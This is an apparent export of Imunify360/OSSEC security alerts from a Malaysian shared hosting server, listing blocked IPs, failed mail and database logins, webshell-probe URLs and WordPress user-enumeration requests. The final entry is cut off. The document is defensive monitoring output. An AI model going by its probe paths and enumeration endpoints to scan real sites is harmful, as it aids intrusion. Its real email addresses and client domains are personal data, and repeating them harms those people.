2026-01-16 18:29:29 dovecot_plain authenticator failed for H=c-24-23-125-83.hsd1.pa.comcast.net (adial) [24.23.125.83]:59836: 535 Incorrect authentication data (set_id=ryankong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.32.4
country_id: 1269750
description:
Jan 16 18:29:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.32.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.226.33.166
country_id: 3865483
description:
Jan 16 18:29:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.226.33.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.23.125.83
country_id: 6252001
description:
Jan 16 18:29:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.23.125.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.107.81.222
country_id: 732800
description:
Jan 16 18:29:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.107.81.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.226.50.167
country_id: 1269750
description:
Jan 16 18:30:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.226.50.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.226.50.167
country_id: 1269750
description:
2026-01-16 18:30:41 dovecot_login authenticator failed for H=([117.226.50.167]) [117.226.50.167]:49132: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 184.22.116.236
country_id: 1605651
description:
2026-01-16 18:31:02 177314 [Warning] Aborted connection 177314 to db: 'unconnected' user: 'unauthenticated' host: '184.22.116.236' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.53.110
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-32.142.111.53.110||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.198
country_id: 3175395
description:
Jan 16 18:33:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.197.154.209
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/FileBag.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.90
country_id: 2510769
description:
Jan 16 18:33:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.198
country_id: 3175395
description:
Jan 16 18:34:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.30.213.25
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateUsersRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.233.163.255
country_id: 3469034
description:
Jan 16 18:44:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.233.163.255 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.119
country_id: 798544
description:
Jan 16 18:44:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.239.54.109
country_id: 1831722
description:
2026-01-16 18:45:26 dovecot_login authenticator failed for H=(213.5.130.106) [103.239.54.109]:43168: 535 Incorrect authentication data (set_id=kok.tuebeng@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.77
country_id: 798544
description:
Jan 16 18:47:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.148.129
country_id: 99237
description:
Jan 16 18:48:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.148.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/img/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 16 18:49:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jan 16 18:50:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.120.134
country_id: 614540
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/laravelcollective/html/src/HtmlBuilder.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 18:56:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55333: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.177
country_id: 6252001
description:
2026-01-16 19:01:27 178710 [Warning] Aborted connection 178710 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.177' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-16 19:02:17 H=([62.60.130.227]) [62.60.130.227]:57078 F=<alert@indeed.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from indeed.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 19:02:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.95.254.199
country_id: 1814991
description:
2026-01-16 19:03:12 dovecot_plain authenticator failed for H=(an1xppvjn41hebak6wsdmi06) [222.95.254.199]:11452: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.95.254.199
country_id: 1814991
description:
Jan 16 19:03:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.95.254.199 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.103.217.235
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/09pagebreaks.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/about-us/faq/images/knowyourtyre.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.56.46
country_id: 1880251
domain: www.symphony-led.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.74.136.134
country_id: 6252001
description:
Jan 16 19:12:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.74.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.74.136.134
country_id: 6252001
description:
2026-01-16 19:12:46 dovecot_plain authenticator failed for H=syn-050-074-136-134.biz.spectrum.com (filint) [50.74.136.134]:39440: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 19:12:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.34.57
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 68.183.121.247
country_id: 6252001
description:
2026-01-16 19:13:57 179281 [Warning] Aborted connection 179281 to db: 'unconnected' user: 'unauthenticated' host: '68.183.121.247' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 157.230.230.48
country_id: 6252001
description:
2026-01-16 19:13:59 179285 [Warning] Aborted connection 179285 to db: 'unconnected' user: 'unauthenticated' host: '157.230.230.48' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.223.179.49
country_id: 6252001
description:
2026-01-16 19:13:59 179286 [Warning] Aborted connection 179286 to db: 'unconnected' user: 'unauthenticated' host: '159.223.179.49' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 19:14:17 H=([45.144.212.242]) [45.144.212.242]:54438 F=<no_reply@admin.com> rejected RCPT <hooishian@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.139.107.146
country_id: 1269750
description:
Jan 16 19:15:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.139.107.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-16 19:15:25 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:38368: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-16 19:15:34 H=([64.89.163.245]) [64.89.163.245]:52096 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <info@oxbold.com>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.228.180
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-16.216.26.228.180||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 19:17:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 19:19:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-16 19:20:36 H=([185.214.10.21]) [185.214.10.21]:59299 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.61.6
country_id: 290557
description:
Jan 16 19:23:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.61.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.61.6
country_id: 290557
description:
2026-01-16 19:23:50 dovecot_plain authenticator failed for H=(promeriger) [5.32.61.6]:35907: 535 Incorrect authentication data (set_id=hello@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 19:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55423: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.145.76
country_id: 587116
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/mech-screen.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.43.204.45
country_id: 2017370
description:
Jan 16 19:24:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.43.204.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.43.204.45
country_id: 2017370
description:
2026-01-16 19:24:27 dovecot_login authenticator failed for H=(RZD-gw.transtelecom.net) [188.43.204.45]:39754: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.150.234
country_id: 294640
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/docq-rack-filebox HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.150.234
country_id: 294640
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/docq-rack-filebox HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.130.156.199
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38451515570804 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.202
country_id: 2264397
domain: www.box.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.27.83.16
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.27.83.16
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/test/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 19:30:24 H=([45.144.212.242]) [45.144.212.242]:59668 F=<no_reply@admin.com> rejected RCPT <info@aircarbonic.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.50.44
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-31.198.145.50.44||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 19:34:26 H=([45.144.212.242]) [45.144.212.242]:53719 F=<no_reply@admin.com> rejected RCPT <info@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.227.144.177
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/facilities.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.41.128.54
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=86491516693580 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.42
country_id: 6252001
description:
Jan 16 19:42:17 sv3 pure-ftpd[1440924]: (?@162.142.125.42) [INFO] New connection from 162.142.125.42


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.205.182.14
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/product-category.php?id=8&sub=7&page_id=1 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.156.230.233
country_id: 3686110
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 45.136.24.225
country_id: 6252001
domain: maalloys.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.64||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 16 19:51:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 19:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55496: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/int-projectnew.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.110.115.146
country_id: 3865483
description:
Jan 16 19:56:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.110.115.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.110.115.146
country_id: 3865483
description:
Jan 16 19:56:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.110.115.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.124.53
country_id: 1733045
description:
[2026-01-16 19:57:38 +0800] info [webmaild] 113.211.124.53 - s-osada@mckd.com.my "GET /cpsess6057995536/3rdparty/roundcube/skins/elastic/watermark.html?=undefined&login=1&post_login=6377700962761 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 156.239.157.138
country_id: 6251999
domain: agpc.org.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.64||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.94.211.53
country_id: 6252001
domain: tujusetia.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:09:26 H=([45.144.212.242]) [45.144.212.242]:58558 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.254
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-10.23.230.243.254||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.243.174
country_id: 732800
description:
Jan 16 20:11:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.243.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-01-16 20:11:44 dovecot_plain authenticator failed for H=(inglysing) [92.62.243.174]:37745: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.243.174
country_id: 732800
description:
Jan 16 20:12:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.243.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-01-16 20:12:02 dovecot_plain authenticator failed for H=(cable) [92.62.243.174]:36711: 535 Incorrect authentication data (set_id=admin@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.245.218.56
country_id: 2921044
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/eminent.st/merge/article/why_green_is_the_new_black_in_the_investors/index.html HTTP/1.0||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.148.168
country_id: 1814991
domain: www.oxbold.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.123.240
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/bath/460/565316 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:14:28 H=([45.144.212.242]) [45.144.212.242]:61092 F=<no_reply@admin.com> rejected RCPT <jacklim@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:17:18 H=([45.144.212.242]) [45.144.212.242]:49673 F=<no_reply@admin.com> rejected RCPT <marina@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 20:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55589: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
